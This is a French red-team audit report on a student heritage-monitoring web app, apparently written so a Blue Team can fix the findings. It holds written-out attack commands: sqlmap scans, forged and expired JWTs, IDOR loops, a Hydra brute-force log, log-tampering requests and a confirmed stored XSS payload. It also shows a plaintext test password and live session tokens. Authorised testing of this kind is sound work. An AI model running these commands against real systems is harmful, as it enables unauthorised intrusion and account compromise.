TAROUDANT HERITAGE SHIELD

Rapport d'Audit Sécurité — Red Team

Version Pre-Fix • Souss-Massa Resilience Prototype 2026

Équipe	Équipe 3 — Taroudant Heritage Shield
Red Team	BENSBAA M. • BENTOUMI Oumaima
Projet	Sujet 3 — Monitoring des remparts historiques
Date	Avril 2026

1. Introduction & Contexte

Ce rapport documente l'ensemble des tests d'intrusion réalisés par la Red Team sur l'application Taroudant Heritage Shield dans le cadre du projet Souss-Massa Resilience Prototype 2026.

L'objectif est d'identifier toutes les vulnérabilités avant la remise finale, afin que la Blue Team puisse les corriger et produire un rapport Post-Fix.

Périmètre des tests :

- Backend FastAPI (Python) exposé sur localhost:8000
- Frontend React + Vite sur localhost:5173
- Base de données MySQL 8.0
- Système d'authentification JWT + RBAC
- Logique SQL : Triggers et Procédures stockées

2. Tableau Récapitulatif des Attaques

#	Attaque	Risque	Outils	Résultat attendu
1	SQLi & Extraction de données	CRITIQUE	SQLMap, curl	Données en clair extraites
2	Chiffrement AES & Clé exposée	CRITIQUE	grep, git log	Clé AES dans le code/.env
3	Bypass JWT / RBAC	CRITIQUE	Burp Suite, curl	Accès admin sans droits
4	IDOR (Accès inter-utilisateurs)	ÉLEVÉ	curl, Postman	Rapports d'autres users
5	Brute Force Login	ÉLEVÉ	Hydra	Aucun blocage après 100 req
6	Manipulation des Audit Logs	ÉLEVÉ	curl, SQLi	Logs effaçables/modifiables
7	Fausse Fissure / Trigger Abuse	ÉLEVÉ	curl, Python	Fausse alerte envoyée
8	DoS – Upload fichiers volumineux	MOYEN	Python, curl	Serveur crash ou lenteur
9	XSS – Injection de scripts	MOYEN	Navigateur	Alert JS exécuté

ATTAQUE 1 — Injection SQL (SQLi)

Objectif	Extraire ou corrompre les données de la base MySQL malgré les requêtes préparées. Cibler notamment les champs de tri, les filtres URL et les paramètres de recherche.

⚠ Observation : 4144 erreurs HTTP 500 détectées
→ Le serveur crash sur certaines requêtes malformées
→ Risque de DoS applicatif à documenter

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.1.182:8000/api/monuments/?id=1" -H "Authorization: Bearer $TOKEN" --level=3 --risk=2 --
dbs --batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end us
er's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program
```

```
[14:42:22] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[14:42:22] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[14:42:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:42:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'
[14:42:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:42:22] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
[14:42:22] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
[14:42:23] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[14:42:23] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[14:42:23] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (SLEEP)'
[14:42:23] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (SLEEP - comment)'
[14:42:23] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP - comment)'
[14:42:23] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
[14:42:24] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
[14:42:24] [INFO] testing 'MySQL ≥ 5.0.12 RLIKE time-based blind'
[14:42:24] [INFO] testing 'MySQL ≥ 5.0.12 RLIKE time-based blind (query SLEEP)'
[14:42:24] [INFO] testing 'MySQL AND time-based blind (ELT)'
[14:42:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:42:25] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
[14:42:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:42:25] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[14:42:25] [INFO] testing 'Oracle AND time-based blind'
[14:42:25] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[14:42:26] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'
[14:42:26] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[14:42:26] [INFO] testing 'Informix AND time-based blind (heavy query)'
[14:42:26] [INFO] testing 'MySQL ≥ 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[14:42:27] [INFO] testing 'MySQL ≥ 5.0.12 time-based blind - Parameter replace'
[14:42:27] [INFO] testing 'MySQL ≥ 5.0.12 time-based blind - Parameter replace (substraction)'
[14:42:27] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'
[14:42:27] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
[14:42:27] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
[14:42:27] [INFO] testing 'MySQL ≥ 5.0.12 time-based blind - ORDER BY, GROUP BY clause'
[14:42:27] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause'
[14:42:27] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'
[14:42:27] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'
[14:42:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:42:27] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[14:42:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[14:42:28] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[14:42:29] [WARNING] parameter 'Referer' does not seem to be injectable
[14:42:29] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--r
isk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involv
ed (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-ag
ent'
[14:42:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4144 times

[*] ending @ 14:42:28 /2026-04-11/
```

VULN-01 : Instabilité serveur sous requêtes malformées

Risque : □ ÉLEVÉ

Preuve : 4144 erreurs HTTP 500 lors du scan SQLMap

Impact : Le serveur peut crasher sous attaque

Endpoint 1 — Monuments

Outil : SQLMap 1.10.2
Résultat : ✅ Non vulnérable
- Paramètre 'id' : protégé par validation de type (FastAPI/Pydantic)
- Paramètre 'User-Agent' : non injectable
- Paramètre 'Referer' : non injectable

Endpoint 2 — Cracks

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.1.182:8000/api/cracks/?monument_id=1" -H "Authorization: Bearer $TOKEN" --level=3 --ris
k=2 --dbs --batch
```

Endpoint 2 — reports

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.1.182:8000/api/reports/?monument_id=1" -H "Authorization: Bearer $TOKEN" --level=3 --ri
sk=2 --dbs --batch
```

ATTAQUE 2 — Exposition de la Clé AES-256 & Secrets

□ **Objectif**	Vérifier si la clé de chiffrement AES-256 utilisée pour crypter les rapports structurels est exposée dans le code source, le fichier .env, ou l'historique Git.

ATTAQUE 3 — Bypass JWT & Escalade de Privilèges (RBAC)

□ **Objectif**	Falsifier un token JWT pour changer son rôle (inspector → admin) et accéder à des routes réservées. Tester aussi les routes sans aucune authentification.

Test 1 : Token avec rôle modifié (inspector → admin)
Résultat : ✅ NON VULNÉRABLE
Détail : Serveur rejette le token falsifié
Message : "Not authenticated. Please login."
La signature JWT est correctement vérifiée

```
┌──(kali㉿kali)-[~]
└─$ curl -s "http://192.168.1.182:8000/api/users/" -H "Authorization: Bearer $FAKE"
"detail":"Not authenticated. Please login."}
```

Test 2 : Routes sans token

```
┌──(kali㉿kali)-[~]
└─$ curl -s "http://192.168.1.182:8000/api/users/" -H "Authorization: Bearer $FAKE"
{"detail":"Not authenticated. Please login."}

┌──(kali㉿kali)-[~]
└─$ for route in users monuments reports audit-logs cracks; do
  echo -n "/api/$route/ → "
  curl -s -o /dev/null -w "%{http_code}" \
    http://192.168.1.182:8000/api/$route/
  echo ""
done
/api/users/ → 401
/api/monuments/ → 500
/api/reports/ → 401
/api/audit-logs/ → 404
/api/cracks/ → 405
```

VULN-03 : Erreur 500 sur /api/monuments/ sans authentification
Risque : □ ÉLEVÉ
Détail : Le serveur expose une erreur interne publiquement
sans token → information leakage
Message d'erreur visible : "Table doesn't exist"
Recommandation : Capturer les erreurs 500 et retourner
un message générique

VULN-04 : Route /api/cracks/ retourne 405 sans token
Risque : □ MOYEN
Détail : La route existe mais n'est pas correctement
protégée par authentification

Test : DELETE /api/monuments/1/ sans token

Résultat : 405 Method Not Allowed
Allow: GET uniquement
Verdict : ✅ Route DELETE inexistante ou non implémentée
Pas de risque de suppression non autorisée

```
┌──(kali㉿kali)-[~]
└─$ curl -v -L -X DELETE http://192.168.1.182:8000/api/monuments/1/
*   Trying 192.168.1.182:8000 ...
* Established connection to 192.168.1.182 (192.168.1.182 port 8000) from 10.0.2.15 port 49892
* using HTTP/1.x
> DELETE /api/monuments/1/ HTTP/1.1
> Host: 192.168.1.182:8000
> User-Agent: curl/8.18.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 307 Temporary Redirect
< date: Sat, 11 Apr 2026 22:34:04 GMT
< server: uvicorn
< content-length: 0
< location: http://192.168.1.182:8000/api/monuments/1
* Ignoring the response-body
* setting size while ignoring
<
* Connection #0 to host 192.168.1.182:8000 left intact
* Issue another request to this URL: 'http://192.168.1.182:8000/api/monuments/1'
* Reusing existing http: connection with host 192.168.1.182
> DELETE /api/monuments/1 HTTP/1.1
> Host: 192.168.1.182:8000
> User-Agent: curl/8.18.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 405 Method Not Allowed
< date: Sat, 11 Apr 2026 22:34:04 GMT
< server: uvicorn
< allow: GET
< content-length: 31
< content-type: application/json
<
* Connection #0 to host 192.168.1.182:8000 left intact
{"detail":"Method Not Allowed"}
```

Explication : La route DELETE n'est pas implémentée sur ce endpoint. Seule la méthode GET est autorisée. Un attaquant ne peut pas supprimer de monument via cette route.

Test 4 : Token expiré
Résultat : ✅ NON VULNÉRABLE
Détail : Token expiré rejeté par le serveur

```
┌(kali㉿kali)-[~]
$ python3 expire.py
ant: {
"user_id": 6,
"email": "inspector@heritage-taroudant.ma",
"role": "inspector",
"full_name": "",
"type": "access",
"iat": 1775943664,
"exp": 1775947264


ken expiré:
JhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjogNiwgImVtYWlsIjogImluc3BlY3RvckBoZXJpdGFnZS10YXJvdWRhbnQubWEiLCAi
9sZSI6ICJpbnNwZWN0b3IiLCAiZnVsbF9uYW1lIjogIiIsICJ0eXBlIjogImFjY2VzcyIsICJpYXQiOiAxNzc1OTQzNjY0LCAiZXhwIjogMX0.ao7j8
HZyp7kM1u_8X2BWSxqVqsJ2JKpfN52NPYn78

┌(kali㉿kali)-[~]
$ expired="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjogNiwgImVtYWlsIjogImluc3BlY3RvckBoZXJpdGFnZS10YXJvdWR
nQubWEiLCAicm9sZSI6ICJpbnNwZWN0b3IiLCAiZnVsbF9uYW1lIjogIiIsICJ0eXBlIjogImFjY2VzcyIsICJpYXQiOiAxNzc1OTQzNjY0LCAiZXhw
ogMX0.ao7j8EVHZyp7kM1u_8X2BWSxqVqsJ2JKpfN52NPYn78"

┌(kali㉿kali)-[~]
$ curl -s http://192.168.1.182:8000/api/users/ \
-H "Authorization: Bearer $EXPIRED"
detail":"Not authenticated. Please login."}
```

Conclusion : Application NON VULNÉRABLE sur le JWT/RBAC

ATTAQUE 4 — IDOR — Accès aux données d'autres utilisateurs

Objectif	Vérifier si un Inspecteur peut accéder aux rapports, fissures ou monuments d'un autre Inspecteur en changeant simplement l'ID dans l'URL.

Test Inspections :
→ ID=3,4 → 200 (vos données)
→ ID=1,2 → 404 (n'existent pas)
→ Serveur retourne 404 au lieu de 403
→ ⚠ Énumération d'IDs possible !
Un attaquant sait quels IDs existent

Test Monuments :
→ Tous retournent 200
→ À vérifier si données sensibles exposées

```
┌──(kali㉿kali)-[~]
└─$ for id in 1 2 3 4 5; do
  echo -n "Monument ID=$id → "
  curl -s -o /dev/null -w "%{http_code}" \
    http://192.168.1.182:8000/api/monuments/$id \
    -b cookies.txt
  echo ""
done
Monument ID=1 → 200
Monument ID=2 → 200
Monument ID=3 → 200
Monument ID=4 → 200
Monument ID=5 → 200

┌──(kali㉿kali)-[~]
└─$ for id in 1 2 3 4 5 6 7 8 9 10; do
  echo -n "Inspection ID=$id → "
  curl -s -o /dev/null -w "%{http_code}" \
    http://192.168.1.182:8000/api/inspections/$id \
    -b cookies.txt
  echo ""
done
Inspection ID=1 → 404
Inspection ID=2 → 404
Inspection ID=3 → 200
Inspection ID=4 → 200
Inspection ID=5 → 404
Inspection ID=6 → 404
Inspection ID=7 → 404
Inspection ID=8 → 404
Inspection ID=9 → 404
Inspection ID=10 → 404
```

ATTAQUE 5 — Brute Force sur l'Authentification

Objectif	Vérifier l'absence de rate limiting sur l'endpoint de login. Sans protection, un attaquant peut essayer des milliers de mots de passe automatiquement.

Outil : Hydra v9.6
Résultat : ✅ NON VULNÉRABLE

Test 1 — Hydra avec slash final :
Faux positif détecté — 307 Redirect interprété comme succès par Hydra

```
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "hardcore" - 905 of 14344399 [child
] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "098765" - 906 of 14344399 [child 2
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "00000000" - 907 of 14344399 [child
] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "winter" - 908 of 14344399 [child 0
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "hailey" - 909 of 14344399 [child 3
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "trixie" - 910 of 14344399 [child 2
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "hayden" - 911 of 14344399 [child 1
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "micheal" - 912 of 14344399 [child
 (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "wesley" - 913 of 14344399 [child 3
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "242424" - 914 of 14344399 [child 2
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "0987654321" - 915 of 14344399 [chi
 1] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "marisol" - 916 of 14344399 [child
 (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "nikita" - 917 of 14344399 [child 3
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "daisy" - 918 of 14344399 [child 2]
0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "jeremiah" - 919 of 14344399 [child
] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "pineapple" - 920 of 14344399 [chil
0] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "mhine" - 921 of 14344399 [child 3]
0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "isaiah" - 922 of 14344399 [child 2
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "christmas" - 923 of 14344399 [chil
1] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "cesar" - 924 of 14344399 [child 0]
0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "lolipop" - 925 of 14344399 [child
 (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "butterfly1" - 926 of 14344399 [chi
 2] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "chloe" - 927 of 14344399 [child 1]
0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "lawrence" - 928 of 14344399 [child
] (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "xbox360" - 929 of 14344399 [child
 (0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "sheena" - 930 of 14344399 [child 2
(0/0)
[ATTEMPT] target 192.168.1.182 - login "inspector@heritage-taroudant.ma" - pass "murphy" - 931 of 14344399 [child 1
  INFO:     192.168.1.182:59647 - "GET /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59648 - "GET /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59649 - "GET /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59650 - "GET /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59651 - "POST /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59653 - "POST /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59652 - "POST /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
  INFO:     192.168.1.182:59654 - "POST /api/auth/login/ HTTP/1.0" 307 Temporary Redirect
```

Test 2 — Vérification manuelle curl :
curl -X POST /api/auth/login password="123456"
→ {"detail":"Invalid email or password."}
→ Mot de passe incorrect bien rejeté

```
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://192.168.1.182:8000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"inspector@heritage-taroudant.ma","password":"123456"}
{"detail":"Invalid email or password."}
```

Test 3 — Pas de rate limiting détecté :
⚠ MOYEN — Aucune erreur 429 observée
→ Pas de blocage après plusieurs tentatives
→ Recommandation : implémenter rate limiting

Conclusion : Authentification correcte
Rate limiting absent (risque moyen)

ATTAQUE 9 — XSS — Cross-Site Scripting

Objectif	Vérifier si les champs de saisie du frontend React sont vulnérables à l'injection de scripts JavaScript malveillants.

Type : Stored XSS (Persistant) — Le plus grave
Endpoint vulnérable : POST /api/inspections/
Champ vulnérable : "notes"
Outil : curl

ÉTAPE 1 — Injection :
curl -X POST /api/inspections/
-d '{"notes":"<script>alert(XSS)</script>"}'
→ {"inspection_id":4} ✅ Script accepté !

```
┌──(kali㉿kali)-[~]
└─$ # Tester sur inspections
curl -s -X POST http://192.168.1.182:8000/api/inspections/ \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "monument_id":1,
    "inspection_date":"2026-04-12",
    "notes":"<script>alert(XSS)</script>",
    "overall_condition":"good"
  }'
{"message":"Inspection created.","inspection_id":4,"id":4}
```

ÉTAPE 2 — Vérification :
curl GET /api/inspections/
→ "notes":"<script>alert(XSS)</script>"
→ ● Script stocké en clair en BDD !

```
┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.1.182:8000/api/inspections/ \
  -b cookies.txt
{"count":2,"results":[{"inspection_id":3,"monument_id":1,"inspector_id":6,"inspection_date":"2026-04-12","notes":"Tes
t inspection XSS","overall_condition":"good","status":"completed","created_at":"2026-04-12T14:51:19","monument_name":
"Rempart Nord","monument_location":"Quartier Nord","inspector_name":"","crack_count":0,"vulnerability_score":null,"ri
sk_level":null},{"inspection_id":4,"monument_id":1,"inspector_id":6,"inspection_date":"2026-04-12","notes":"<script>a
lert(XSS)</script>","overall_condition":"good","status":"pending","created_at":"2026-04-12T14:53:00","monument_name":
"Rempart Nord","monument_location":"Quartier Nord","inspector_name":"","crack_count":0,"vulnerability_score":null,"ri
sk_level":null}]}
```

IMPACT :
→ Le script s'exécute dans le navigateur
de tous les utilisateurs qui consultent
la liste des inspections
→ Vol de cookies possible
→ Redirection vers site malveillant
→ Vol du token JWT

RECOMMANDATION BLUE TEAM :
→ Échapper les entrées HTML côté backend
→ Utiliser bleach ou html.escape en Python
→ Valider et nettoyer tous les champs texte

VERDICT : ● CRITIQUE — Stored XSS Confirmé

ATTAQUE 6 — Manipulation & Suppression des Audit Logs

Objectif	Vérifier si un attaquant peut effacer ou falsifier les logs d'audit pour cacher ses traces après une intrusion.

Endpoint : /api/admin/audit-logs

TEST 1 — Accès logs (Inspector) :
→ "Access denied. Required role: admin"

→ ✅ RBAC appliqué correctement

TEST 2 — Suppression log :
→ "Not Found" — endpoint DELETE inexistant
→ ✅ Suppression impossible

TEST 3 — Modification log :
→ "Not Found" — endpoint PUT inexistant
→ ✅ Modification impossible

TEST 4 — Insertion faux log :
→ "Method Not Allowed"
→ ✅ Insertion bloquée

CONCLUSION : ✅ NON VULNÉRABLE
Les logs sont protégés et immuables

```
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://192.168.1.182:8000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"inspector@heritage-taroudant.ma","password":"Admin@123"}' \
  -c cookies.txt
{"message":"Login successful.","user":{"id":6,"email":"inspector@heritage-taroudant.ma","full_name":"","role":"inspec
tor","organization":""}}

┌──(kali㉿kali)-[~]
└─$ echo "═══ TEST 1 : Inspector accède aux audit-logs ═══"
curl -s http://192.168.1.182:8000/api/admin/audit-logs \
  -b cookies.txt
═══ TEST 1 : Inspector accède aux audit-logs ═══
{"detail":"Access denied. Required role: admin"}

┌──(kali㉿kali)-[~]
└─$ echo "═══ TEST 2 : Supprimer log ═══"
curl -s -X DELETE http://192.168.1.182:8000/api/admin/audit-logs/1 \
  -b cookies.txt
═══ TEST 2 : Supprimer log ═══
{"detail":"Not Found"}

┌──(kali㉿kali)-[~]
└─$ echo "═══ TEST 3 : Modifier log ═══"
curl -s -X PUT http://192.168.1.182:8000/api/admin/audit-logs/1 \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"action":"fake_action"}'
═══ TEST 3 : Modifier log ═══
{"detail":"Not Found"}

┌──(kali㉿kali)-[~]
└─$ echo "═══ TEST 4 : Insérer faux log ═══"
curl -s -X POST http://192.168.1.182:8000/api/admin/audit-logs \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"action":"fake_login","user_id":1}'
═══ TEST 4 : Insérer faux log ═══
{"detail":"Method Not Allowed"}
```

ATTAQUE 7 — Injection de Fausse Fissure — Trigger Abuse

Objectif	Vérifier si un inspecteur peut injecter une fausse fissure 'Critique' pour déclencher une fausse alerte aux autorités, ou si le système valide les données saisies.

```
or","organization":""}}

┌──(kali㉿kali)-[~]
└─$ curl -v -X POST http://192.168.1.182:8000/api/cracks \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "description":"FAUSSE FISSURE - TEST RED TEAM",
    "severity":"critical",
    "monument_id":1,
    "inspection_id":3,
    "location_on_monument":"Nord"
  }'
ote: Unnecessary use of -X or --request, POST is already inferred.
  Trying 192.168.1.182:8000...
* Established connection to 192.168.1.182 (192.168.1.182 port 8000) from 10.0.2.15 port 38458
* using HTTP/1.x
> POST /api/cracks HTTP/1.1
> Host: 192.168.1.182:8000
> User-Agent: curl/8.18.0
> Accept: */*
> Cookie: heritage_refresh=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo2LCJlbWFpbCI6Imluc3BlY3RvckBoZXJpdGFn
10YXJvdWRhbnQubWEiLCJyb2xlIjoiaW5zcGVjdG9yIiwiZnVsbF9uYW1lIjoiIiwidHlwZSI6InJlZnJlc2giLCJpYXQiOjE3NzYwMzI3OTQsImV4c
6MTc3NjYzNzU5NH0.s67MkA_ZFDTJH7iicT9XM2e-d6b7iSTaJwD0JkzhpSw; heritage_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
J1c2VyX2lkIjo2LCJlbWFpbCI6Imluc3BlY3RvckBoZXJpdGFnZS10YXJvdWRhbnQubWEiLCJyb2xlIjoiaW5zcGVjdG9yIiwiZnVsbF9uYW1lIjoiI
idHlwZSI6ImFjY2VzcyIsImlhdCI6MTc3NjAzMjc5NCwiZXhwIjoxNzc2MDM2Mzk0fQ.mjK1sqXZVX-X_-5_8lFFrOEnIQB8iOTzRJJc-dohiU4
> Content-Type: application/json
> Content-Length: 162

* upload completely sent off: 162 bytes
< HTTP/1.1 307 Temporary Redirect
< date: Sun, 12 Apr 2026 22:26:44 GMT
< server: uvicorn
< content-length: 0
< location: http://192.168.1.182:8000/api/cracks/

* Connection #0 to host 192.168.1.182:8000 left intact

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://192.168.1.182:8000/api/cracks/ \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "description":"FAUSSE FISSURE - TEST RED TEAM",
    "severity":"critical",
    "monument_id":1,
    "inspection_id":3,
    "location_on_monument":"Nord"
  }'
"detail":"Internal server error."}
```

Endpoint : POST /api/cracks/
Payload : {"severity":"critical","description":"FAUSSE FISSURE"}

RÉSULTAT : Internal Server Error 500

CAUSE DÉCOUVERTE :
PROCEDURE CalculateVulnerabilityScore does not exist
→ La procédure stockée SQL n'a pas été créée

IMPACT : □ ÉLEVÉ
1. La fonctionnalité de calcul de vulnérabilité
   est complètement non fonctionnelle
2. Aucune alerte ne peut être déclenchée
3. Le trigger after_crack_insert ne fonctionne pas

DÉCOUVERTES BONUS (procédures manquantes) :
→ CalculateVulnerabilityScore ✕ Manquante
→ GenerateMonumentReport ✕ Manquante

RECOMMANDATION BLUE TEAM :
→ Créer les procédures stockées manquantes
→ Tester l'intégration BDD avant déploiement

ATTAQUE 8 — DoS — Upload de Fichiers Volumineux

Objectif	Vérifier l'absence de limite sur la taille des fichiers uploadés (photos de monuments). Un fichier de 50MB peut saturer le serveur ou la base de données.

```
┌──(kali㉿kali)-[~]
└─$ for i in 1 2 3 4 5; do
 curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo \
   -b cookies.txt \
   -F "file=@/tmp/big_file.jpg" \
   -F "caption=test$i" &
one
ait
cho "Terminé !"
quote>

┌──(kali㉿kali)-[~]
└─$ for i in 1 2 3 4 5; do
 curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo \
   -b cookies.txt \
   -F "file=@/tmp/big_file.jpg" \
   -F "caption=test$i" &
one
ait
cho "Terminé !"
quote> "
2] 207852
3] 207853
4] 207854
5] 207855
6] 207856
"detail":"File too large. Max 10MB."}[3]    done       curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo
b cookies.txt -
"detail":"File too large. Max 10MB."}[2]    done       curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo
b cookies.txt -
"detail":"File too large. Max 10MB."}[5]  - done       curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo
b cookies.txt -
"detail":"File too large. Max 10MB."}[6]  + done       curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo
b cookies.txt -
"detail":"File too large. Max 10MB."}[4]  + done       curl -s -X POST http://192.168.1.182:8000/api/cracks/1/photo
b cookies.txt -
erminé
```

Outil : curl + dd
Fichier créé : 50MB (/tmp/big_file.jpg)
Endpoint : POST /api/cracks/{crack_id}/photo

TEST 1 — Upload fichier 50MB :
Commande : curl -F "file=@big_file.jpg"
Résultat : 413 Request Entity Too Large
"File too large. Max 10MB."
Temps : 1.29 secondes
Verdict : ✅ Limite de taille configurée

TEST 2 — 5 uploads simultanés :
Résultat : Tous rejetés avec 413
Serveur reste stable et répond
Verdict : ✅ Résistant au DoS par upload

CONCLUSION : ✅ NON VULNÉRABLE
Limite de 10MB bien configurée
Serveur stable sous charge simultanée